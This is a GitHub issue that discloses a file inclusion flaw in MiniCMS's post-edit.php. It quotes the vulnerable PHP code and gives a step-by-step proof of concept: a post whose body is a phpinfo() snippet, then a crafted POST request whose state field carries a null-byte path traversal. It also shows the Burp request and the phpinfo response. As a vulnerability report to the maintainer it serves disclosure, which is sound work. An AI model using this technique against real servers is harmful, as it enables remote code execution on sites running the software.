

[New issue](#)

[Jump to bottom](#)

file inclusion vulnerability #36

🔒 Closed

cilan2 opened this issue on Aug 23, 2019 · 0 comments

cilan2 commented on Aug 23, 2019

Require:

PHP Version <5.3.4

magic_quotes_gpc=off

1.

require \$index_file

\$index_file = '../mc-files/posts/index/'.\$post_old_state.'.php'

\$post_old_state = \$data['state']

```
58 }
59 else {
60     if ($post_id == '') {
61         $file_names = shorturl($post_title);
62
63         foreach ($file_names as $file_name) {
64             $file_path = '../mc-files/posts/data/'.$file_name.'.dat';
65
66             if (!is_file($file_path)) {
67                 $post_id = $file_name;
68                 break;
69             }
70         }
71     }
72     else {
73         $file_path = '../mc-files/posts/data/'.$post_id.'.dat';
74
75         $data = unserialize(file_get_contents($file_path));
76
77         $post_old_state = $data['state'];
78
79         if ($post_old_state != $post_state) {
80             $index_file = '../mc-files/posts/index/'.$post_old_state.'.php';
81
82             require $index_file;
83
84             unset($mc_posts[$post_id]);
85
86             file_put_contents($index_file,
87                 "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n>");
88         }
89     }
90 }
91
92 $data = array(
93     'id' => $post_id,
94     'state' => $post_state,
95     'title' => $post_title,
96     'tags' => $post_tags,
97     'date' => $post_date,
98     'time' => $post_time,
99     'can_comment' => $post_can_comment,
100 );
101
102 $index_file = '../mc-files/posts/index/'.$post_state.'.php';
103
104 require $index_file;
105
106 $mc_posts[$post_id] = $data;
107
108 uasort($mc_posts, "post_sort");
109
110 file_put_contents($index_file,
111     "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n>")
```

2.

write a page or article with content

11111111

```
<?php
phpinfo();
?>
```

在此输入标签，多个标签之间用逗号分隔

时间： 2019 - 08 - 22 15 : 21 : 18

评论： 允许 状态： 草稿

保存

3.

can see url is

127.0.0.1/MiniCMS-master/MiniCMS-master/mc-admin/post-edit.php?id=2kbz44

so filename is 2kbz44.bat

4.use burpsuite,we can find phpinfo in response

Request

RawParamsHeadersHex

POST /MinCMS-master/MinCMS-master/mc-admin/post-edit.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/MinCMS-master/MinCMS-master/mc-admin/post-edit.php
Cookie: mc_taken=c30807e6587ade285ba7ade9881b3d7; lang=a344b38435ccdb746bbech1edd01394f61a36c%7Een
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 223

_IS_POST_BACK_&title=4444444444&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&tags=&year=2019&month=06&day=22&hour=23&minute=48&second=39&can_comment=1&state=../data/2k1z44_dz%00&id=pp5evur&save=%E4%BF%9D%E5%AD%A6%9B

Response

RawHeadersHexHTMLRender

<html class="Y"><title>PHP Version 5.2.17</title>
</html>
</html>
</html>
<table border="0" cellpadding="3" width="600">
<tr>
<td class="a">System</td>
<td class="y">Windows NT P0ZAD8EW5A68JLN 6.1 build 7601</td>
</tr>
<tr>
<td class="a">Build Date</td>
<td class="y">Jan 6 2011 17:26:00</td>
</tr>
<tr>
<td class="a">Configure Command</td>
<td class="y">script /nologo configure.js "-enable-snapshot-build" "-enable-debug-pack"
"-with-snapshot-template=d:\php-sdk\snapsnap_5_2\vc5\vc86\template"
"-with-php-build=d:\php-sdk\snapsnap_5_2\vc5\vc86\php_build" "-with-pdo-oci=d:\php-sdk\oracle\instantclient10sdk\shared&
"-with-oci8=d:\php-sdk\oracle\instantclient10sdk\shared" "-without-p3web"</td>
</tr>
<tr>
<td class="a">Server API</td>
<td class="y">Apache 2.4 Handler - Apache Lounge</td>
</tr>
<tr>
<td class="a">Virtual Directory Support</td>
<td class="y">enabled</td>
</tr>
<tr>
<td class="a">Configuration File (php.ini) Path</td>
<td class="y">C:\Windows</td>
</tr>
<tr>
<td class="a">Loaded Configuration File</td>
<td class="y">C:\phpStudy\PHPTutorial\php\php 5.2.17\php.ini</td>
</tr>
<tr>
<td class="a">Scan this dir for additional .ini files</td>

 bg5sbk closed this as completed in [f8fc729](#) on Jul 19, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

